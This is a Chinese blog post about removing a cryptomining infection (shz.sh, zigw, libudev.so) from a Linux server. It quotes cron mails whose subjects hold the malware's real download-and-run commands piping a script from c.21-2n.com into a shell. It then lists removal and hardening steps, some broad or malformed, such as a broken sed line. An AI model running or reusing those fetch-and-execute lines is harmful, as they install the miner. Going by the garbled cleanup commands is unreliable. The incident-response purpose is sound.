Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=7530>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20181127064501.A718997CA9@localhost.localdomain>
Date: Tue, 27 Nov 2018 14:45:01 +0800 (CST)

/bin/sh: curl: command not found

From root@localhost.localdomain  Tue Nov 27 14:45:01 2018
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid 0)
    id A73CA97CB1; Tue, 27 Nov 2018 14:45:01 +0800 (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> wget -O .cmd http://c.21-2n.com:43768/shz.sh && bash .cmd
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=7532>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20181127064501.A73CA97CB1@localhost.localdomain>
Date: Tue, 27 Nov 2018 14:45:01 +0800 (CST)

/bin/sh: wget: command not found

From root@localhost.localdomain  Tue Nov 27 14:46:01 2018
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid 0)
    id B35241F0064; Tue, 27 Nov 2018 14:46:01 +0800 (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=7533>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20181127064601.B35241F0064@localhost.localdomain>
Date: Tue, 27 Nov 2018 14:46:01 +0800 (CST)

/bin/sh: curl: command not found

From root@localhost.localdomain  Tue Nov 27 14:47:01 2018
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid 0)
    id BDC651F0064; Tue, 27 Nov 2018 14:47:01 +0800 (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=7534>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20181127064701.BDC651F0064@localhost.localdomain>
Date: Tue, 27 Nov 2018 14:47:01 +0800 (CST)

/bin/sh: curl: command not found

 

 

基本的修复办法:

在/etc或/tmp下创建shz.sh和zigw文件,并设置了特殊权限,此次发现是在/etc中;同时会创建ssh免密登录的密钥。杀掉进程、修改权限并删除该文件。

# rm -rf ~/.ssh
# ps -aux | grep zigw
# kill -9 <进程号>
# ps -aux | grep shz
# kill -9 <进程号>
# chattr -i /etc/shz.sh /etc/zigw
# rm -f /etc/shz.sh /etc/zigw /etc/gmbpr2

查看任务计划的配置文件,并删除相应内容

# ls -alh /etc/cron.d/
# rm -f /etc/cron.d/root

恢复服务器中的js文件(其中grep的参数为小写的L)

# find / -name '*.js' | xargs grep -l f4ce9 | xargs sed -i '/f4ce9/d' 

因此恶意脚本中删除了所有防火墙规则,修改了一些文件。经过一番折腾,更新后恢复正常。

得出结论:比较简单的解决方法就是更新或重装(好像重建docker网络也不难)。

1.2 查杀方法

首先删除 /etc/crontab 文件中的定时任务,并保护该文件不再被病毒修改:

$ sudo chattr +i /etc/crontab

 

然后定位病毒的主进程,这需要通过 top 命令查看,往往 CPU 占用率最高的进程就是了,在我的例子中 8421 就是。定位后让其暂停执行,这时网络发包就会停下来了,同时也不会再不停的生成新进程了。

$ sudo kill -stop 8421

 

接下来解决病毒产生的自启动文件,注意:具体的文件名称可能会有所不同,大家要根据自己的情况对应修改,领外 /etc/rc*.d/ 的 S01* 文件都是指向 /etc/init.d/ 里的启动脚本的软链接,而且是从 rc1.d 一直到 rc5.d 中都有,因为是软链接,也可以不用删除。

$ rm -r /etc/init.d/yjrfdbdkfs
$ rm -r /etc/rc1.d/S01yjrfdbdkfs

......

病毒启动脚本中调用的可执行文件也要删掉,文件存放在 /bin/usr/bin 目录下,和启动脚本的名字是一致的,另外大家要留意一下是否有其他文件也被做了篡改,可以用时间倒序排列这两个目录下的文件,日期很新的都很有可能是被修改过的,都需要删除。下面这个例子中,dsxictdfoedxaj 文件明显就是有问题的。

$ ls -lrt /bin/
......
-rwxr-xr-x 1 root root   23152 May 14 12:42 kill
lrwxrwxrwx 1 root root      20 Jun 11 12:37 mt -> /etc/alternatives/mt
lrwxrwxrwx 1 root root      24 Jun 11 12:37 netcat -> /etc/alternatives/netcat
lrwxrwxrwx 1 root root      20 Jun 11 12:37 nc -> /etc/alternatives/nc
-rwxr-xr-x 1 root root  562346 Oct 24 13:25 dsxictdfoedxaj
$ rm -r dsxictdfoedxaj

$ ls -lrt /usr/bin/
......
-rwxr-xr-x 1 root root  562346 Oct 24 11:32 yjrfdbdkfs
-rwxr-xr-x 1 root root  562346 Oct 24 11:32 yjrfdbdkfs.sh
$ rm -r /usr/bin/yjrfdbdkfs*

 

病毒在 /etc/cron.hourly/ 目录下产生的定时任务文件也要删掉,

$ rm -r /etc/cron.hourly/*.sh

 

最后,删掉 libudev.so ,再杀掉进程就算是大功告成了:

$ sudo rm -r /lib/libudev.so*
$ sudo kill -9 8421

 

2.2 查杀方法

病毒的工作方法和上一个是类似的,也是会加载一个任务,并启动多个进程,互相监控和保护,只是细节有些不同。

该病毒定时任务是写进了文件:/var/spool/cron/root,需要对应删除里面的内容。

然后要删除病毒的启动脚本:

$ sudo rm /etc/shz.sh

 

找到病毒的主进程(找到主进程的方式和之前也差不多,找 CPU 占用率最高的进程就可以了。),并停掉:

$ sudo kill -stop 23701 24192

 

删除主进程的配置文件和可执行文件:

$ sudo rm /etc/conf.json
$ sudo rm /etc/zjgw

 

删除其他病毒添加的文件:

$ sudo rm /etc/conf.n
$ sudo rm /etc/zaker

 

最后杀掉进程即可:

$ sudo kill -9 23701 24192

 

另外 /tmp 目录下也会有一些残留文件,一并删除吧:

# ll /tmp/
total 40
drwxrwxrwt  8 root root 4096 Oct 24 03:10 ./
drwxr-xr-x 24 root root 4096 Oct 23 06:18 ../
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .ICE-unix/
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .Test-unix/
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .X11-unix/
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .XIM-unix/
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .font-unix/
-rwxr-xr-x  1 root root    5 Oct 18 13:48 gates.lod*
-rwxr-xr-x  1 root root    5 Oct 18 13:48 moni.lod*
drwx------  3 root root 4096 Oct 18 13:47 systemd-private-8292a854ab55417a91c7b42f6360aa75-systemd-timesyncd.service-dTAzr3/
-rw-r--r--  1 root root    0 Oct 18 13:49 tmp.l

# rm gates.lod moni.lod tmp.l

有个小细节补充一下,在删除/usr/bin中的文件时候,存在1863条记录,比较多。可以换个思路进行,几条命令供参考:

awk '{print $7,$9}' aa.sh > bb.sh
sed -i 's/27/rm -rf g' bb.sh
ls -lrt

 

 

3 总结

本次服务器感染病毒,造成了一点影响,耽误了一点时间来处理,但是其实还挺有意思的。

主要的问题是因为 root 用户使用了强度较弱的口令,同时在公网暴露了 SSH 端口,另外虚拟机的基础镜像中就已经携带了病毒,造成每个产生的实例启动后都带上了病毒。

所以基础的安防工作还是要从以下几个方面入手:

  • 减少公网暴露的端口数量;
  • 禁止使用 root 用户进行 SSH 登录;
  • 加强用户口令的强度;
  • 对基础镜像做安全检查;
  • 加强对线上服务的监控并设置告警规则。

参考:

查杀 libudev.so 和 XMR 挖矿程序记录

XMR恶意挖矿案例简析

zigw挖矿病毒查杀

XMR恶意挖矿脚本处理笔记

其他资料:

 

看起来搞定了...

时间紧张,还有一堆事情得处理。

整理的比较乱,后续抽空在详细描述。。。。

。。

 

 

posted @ 2018-11-27 16:36 念槐聚 阅读(...) 评论(...) 编辑 收藏

IT技术&应用开发&研究 - 创建于 2008年05月12日

这是一位IT工程师的个人站,内容主要是网站开发方面的技术文章,大部分来自学习或工作,部分来源于网络,希望对大家有所帮助。

致力于软件学习&研究工作,涉及Linux与软件开发出、测试、产品、行业相关知识,关注互联网前沿技术与与创业趋势等。


博客园 | Github | W3C

返回顶部